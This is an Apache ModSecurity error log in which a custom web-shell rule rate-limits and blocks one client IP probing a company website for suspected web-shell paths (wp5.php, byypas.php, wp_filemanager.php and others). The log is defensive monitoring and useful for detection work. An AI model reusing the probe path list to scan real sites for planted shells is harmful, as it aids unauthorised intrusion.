[Fri Apr 17 05:39:29.009692 2026] [:error] [pid 51878:tid 51883] [client 4.232.179.255:7028] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp5.php"] [unique_id "aeFXEUnQhUtMbw9EsgZmggAAAQM"]
[Fri Apr 17 05:39:29.476937 2026] [:error] [pid 51878:tid 51903] [client 4.232.179.255:6921] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp5.php"] [unique_id "aeFXEUnQhUtMbw9EsgZmhQAAARc"]
[Fri Apr 17 05:39:29.977397 2026] [:error] [pid 9263:tid 9265] [client 4.232.179.255:7008] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp5.php"] [unique_id "aeFXERP68VyHNvj1e572xQAAAMA"]
[Fri Apr 17 05:39:30.466592 2026] [:error] [pid 9153:tid 9221] [client 4.232.179.255:6917] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xxx.php"] [unique_id "aeFXEuMHGxkTZX3c45f7gAAAAIM"]
[Fri Apr 17 05:39:30.969370 2026] [:error] [pid 51878:tid 51899] [client 4.232.179.255:7142] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xxx.php"] [unique_id "aeFXEknQhUtMbw9EsgZmjwAAARM"]
[Fri Apr 17 05:39:31.523026 2026] [:error] [pid 9153:tid 9236] [client 4.232.179.255:6984] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xxx.php"] [unique_id "aeFXE-MHGxkTZX3c45f7gwAAAJI"]
[Fri Apr 17 05:39:32.004248 2026] [:error] [pid 51878:tid 51903] [client 4.232.179.255:7073] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xxx.php"] [unique_id "aeFXFEnQhUtMbw9EsgZmlgAAARc"]
[Fri Apr 17 05:39:32.549624 2026] [:error] [pid 9153:tid 9225] [client 4.232.179.255:7126] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wen.php"] [unique_id "aeFXFOMHGxkTZX3c45f7hQAAAIc"]
[Fri Apr 17 05:39:33.093931 2026] [:error] [pid 51878:tid 51884] [client 4.232.179.255:6934] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wen.php"] [unique_id "aeFXFUnQhUtMbw9EsgZmogAAAQQ"]
[Fri Apr 17 05:39:33.734295 2026] [:error] [pid 51878:tid 51901] [client 4.232.179.255:7072] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wen.php"] [unique_id "aeFXFUnQhUtMbw9EsgZmqAAAARU"]
[Fri Apr 17 05:39:34.257350 2026] [:error] [pid 51878:tid 51888] [client 4.232.179.255:6990] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wen.php"] [unique_id "aeFXFknQhUtMbw9EsgZmrgAAAQg"]
[Fri Apr 17 05:39:34.732548 2026] [:error] [pid 51878:tid 51884] [client 4.232.179.255:7021] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bnm.php"] [unique_id "aeFXFknQhUtMbw9EsgZmtAAAAQQ"]
[Fri Apr 17 05:39:35.290898 2026] [:error] [pid 51878:tid 51887] [client 4.232.179.255:6918] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bnm.php"] [unique_id "aeFXF0nQhUtMbw9EsgZmuAAAAQc"]
[Fri Apr 17 05:39:35.968296 2026] [:error] [pid 51878:tid 51903] [client 4.232.179.255:7007] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bnm.php"] [unique_id "aeFXF0nQhUtMbw9EsgZmwwAAARc"]
[Fri Apr 17 05:39:36.521127 2026] [:error] [pid 9151:tid 9176] [client 4.232.179.255:6928] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bnm.php"] [unique_id "aeFXGMhTVuRPkua22vSaEQAAAA8"]
[Fri Apr 17 05:39:37.274836 2026] [:error] [pid 9151:tid 9179] [client 4.232.179.255:6926] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aeFXGchTVuRPkua22vSaFwAAABI"]
[Fri Apr 17 05:39:37.916773 2026] [:error] [pid 51878:tid 51880] [client 4.232.179.255:7087] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aeFXGUnQhUtMbw9EsgZmywAAAQA"]
[Fri Apr 17 05:39:38.606379 2026] [:error] [pid 9152:tid 9208] [client 4.232.179.255:7022] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aeFXGpJYca8I3TNCwIcM6gAAAFI"]
[Fri Apr 17 05:39:39.085012 2026] [:error] [pid 9263:tid 9268] [client 4.232.179.255:6913] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aeFXGxP68VyHNvj1e5720AAAAMM"]
[Fri Apr 17 05:39:39.574011 2026] [:error] [pid 51878:tid 51896] [client 4.232.179.255:6947] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/byypas.php"] [unique_id "aeFXG0nQhUtMbw9EsgZm1QAAARA"]
[Fri Apr 17 05:39:40.094882 2026] [:error] [pid 9263:tid 9266] [client 4.232.179.255:7137] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/byypas.php"] [unique_id "aeFXHBP68VyHNvj1e5720gAAAME"]
[Fri Apr 17 05:39:40.610423 2026] [:error] [pid 9263:tid 9286] [client 4.232.179.255:6931] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/byypas.php"] [unique_id "aeFXHBP68VyHNvj1e5721AAAANU"]
[Fri Apr 17 05:39:41.077384 2026] [:error] [pid 51878:tid 51904] [client 4.232.179.255:6982] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/byypas.php"] [unique_id "aeFXHUnQhUtMbw9EsgZm4gAAARg"]
[Fri Apr 17 05:39:41.546890 2026] [:error] [pid 9153:tid 9230] [client 4.232.179.255:7089] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hplfuns.php"] [unique_id "aeFXHeMHGxkTZX3c45f7iAAAAIw"]
[Fri Apr 17 05:39:42.014052 2026] [:error] [pid 9153:tid 9222] [client 4.232.179.255:6965] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hplfuns.php"] [unique_id "aeFXHuMHGxkTZX3c45f7iQAAAIQ"]
[Fri Apr 17 05:39:42.517088 2026] [:error] [pid 9153:tid 9227] [client 4.232.179.255:6972] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hplfuns.php"] [unique_id "aeFXHuMHGxkTZX3c45f7jAAAAIk"]
[Fri Apr 17 05:39:43.020182 2026] [:error] [pid 51878:tid 51890] [client 4.232.179.255:7019] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hplfuns.php"] [unique_id "aeFXH0nQhUtMbw9EsgZm9gAAAQo"]
[Fri Apr 17 05:39:43.520453 2026] [:error] [pid 51878:tid 51884] [client 4.232.179.255:6929] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/grsiuk.php"] [unique_id "aeFXH0nQhUtMbw9EsgZm-gAAAQQ"]
[Fri Apr 17 05:39:43.998724 2026] [:error] [pid 51878:tid 51904] [client 4.232.179.255:6977] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/grsiuk.php"] [unique_id "aeFXH0nQhUtMbw9EsgZm_AAAARg"]
[Fri Apr 17 05:39:44.511919 2026] [:error] [pid 51878:tid 51883] [client 4.232.179.255:6991] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/grsiuk.php"] [unique_id "aeFXIEnQhUtMbw9EsgZnAgAAAQM"]
[Fri Apr 17 05:39:44.986582 2026] [:error] [pid 51878:tid 51898] [client 4.232.179.255:6943] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/grsiuk.php"] [unique_id "aeFXIEnQhUtMbw9EsgZnBwAAARI"]
[Fri Apr 17 05:39:45.604542 2026] [:error] [pid 51878:tid 51887] [client 4.232.179.255:6853] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gifclass.php"] [unique_id "aeFXIUnQhUtMbw9EsgZnCwAAAQc"]
[Fri Apr 17 05:39:46.108541 2026] [:error] [pid 9151:tid 9182] [client 4.232.179.255:7015] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gifclass.php"] [unique_id "aeFXIshTVuRPkua22vSaJAAAABU"]
[Fri Apr 17 05:39:46.595440 2026] [:error] [pid 51878:tid 51897] [client 4.232.179.255:7012] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gifclass.php"] [unique_id "aeFXIknQhUtMbw9EsgZnEAAAARE"]
[Fri Apr 17 05:39:47.194692 2026] [:error] [pid 9263:tid 9286] [client 4.232.179.255:6969] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gifclass.php"] [unique_id "aeFXIxP68VyHNvj1e5725gAAANU"]
[Fri Apr 17 05:39:47.697189 2026] [:error] [pid 51878:tid 51884] [client 4.232.179.255:6935] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a4.php"] [unique_id "aeFXI0nQhUtMbw9EsgZnGQAAAQQ"]
[Fri Apr 17 05:39:48.175699 2026] [:error] [pid 9153:tid 9226] [client 4.232.179.255:6979] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a4.php"] [unique_id "aeFXJOMHGxkTZX3c45f7jwAAAIg"]
[Fri Apr 17 05:39:48.711163 2026] [:error] [pid 9151:tid 9175] [client 4.232.179.255:7010] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a4.php"] [unique_id "aeFXJMhTVuRPkua22vSaKAAAAA4"]
[Fri Apr 17 05:39:49.353300 2026] [:error] [pid 51878:tid 51895] [client 4.232.179.255:6950] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a4.php"] [unique_id "aeFXJUnQhUtMbw9EsgZnHwAAAQ8"]
[Fri Apr 17 05:39:49.946199 2026] [:error] [pid 9263:tid 9285] [client 4.232.179.255:7032] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/domains.php"] [unique_id "aeFXJRP68VyHNvj1e5727wAAANQ"]
[Fri Apr 17 05:39:50.448265 2026] [:error] [pid 9153:tid 9235] [client 4.232.179.255:7014] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/domains.php"] [unique_id "aeFXJuMHGxkTZX3c45f7kwAAAJE"]
[Fri Apr 17 05:39:50.944217 2026] [:error] [pid 9263:tid 9266] [client 4.232.179.255:7085] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/domains.php"] [unique_id "aeFXJhP68VyHNvj1e5728wAAAME"]
[Fri Apr 17 05:39:51.550274 2026] [:error] [pid 9263:tid 9280] [client 4.232.179.255:6887] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/domains.php"] [unique_id "aeFXJxP68VyHNvj1e5729QAAAM8"]
[Fri Apr 17 05:39:52.516809 2026] [:error] [pid 9151:tid 9174] [client 4.232.179.255:6942] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tt.php"] [unique_id "aeFXKMhTVuRPkua22vSaLgAAAA0"]
[Fri Apr 17 05:39:53.115629 2026] [:error] [pid 9263:tid 9272] [client 4.232.179.255:6914] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tt.php"] [unique_id "aeFXKRP68VyHNvj1e572-wAAAMc"]
[Fri Apr 17 05:39:54.313690 2026] [:error] [pid 9263:tid 9286] [client 4.232.179.255:7011] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tt.php"] [unique_id "aeFXKhP68VyHNvj1e573AQAAANU"]
[Fri Apr 17 05:39:54.972504 2026] [:error] [pid 9151:tid 9183] [client 4.232.179.255:6992] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tt.php"] [unique_id "aeFXKshTVuRPkua22vSaNgAAABY"]
[Fri Apr 17 05:39:55.841366 2026] [:error] [pid 51878:tid 51885] [client 4.232.179.255:7095] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/abc.php"] [unique_id "aeFXK0nQhUtMbw9EsgZnLAAAAQU"]
[Fri Apr 17 05:39:56.403433 2026] [:error] [pid 9263:tid 9272] [client 4.232.179.255:7013] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/abc.php"] [unique_id "aeFXLBP68VyHNvj1e573HAAAAMc"]
[Fri Apr 17 05:39:57.803773 2026] [:error] [pid 51878:tid 51898] [client 4.232.179.255:6958] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/abc.php"] [unique_id "aeFXLUnQhUtMbw9EsgZnOwAAARI"]
[Fri Apr 17 05:39:59.644967 2026] [:error] [pid 9263:tid 9273] [client 4.232.179.255:6944] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/abc.php"] [unique_id "aeFXLxP68VyHNvj1e573VAAAAMg"]
[Fri Apr 17 05:40:00.874664 2026] [:error] [pid 9263:tid 9270] [client 4.232.179.255:7016] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/yw5bi63u.php"] [unique_id "aeFXMBP68VyHNvj1e573XwAAAMU"]
[Fri Apr 17 05:40:01.377634 2026] [:error] [pid 9263:tid 9275] [client 4.232.179.255:6963] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/yw5bi63u.php"] [unique_id "aeFXMRP68VyHNvj1e573ZAAAAMo"]
[Fri Apr 17 05:40:01.951508 2026] [:error] [pid 51878:tid 51892] [client 4.232.179.255:6885] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/yw5bi63u.php"] [unique_id "aeFXMUnQhUtMbw9EsgZnTgAAAQw"]
[Fri Apr 17 05:40:02.530297 2026] [:error] [pid 9151:tid 9181] [client 4.232.179.255:6981] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/yw5bi63u.php"] [unique_id "aeFXMshTVuRPkua22vSaOgAAABQ"]
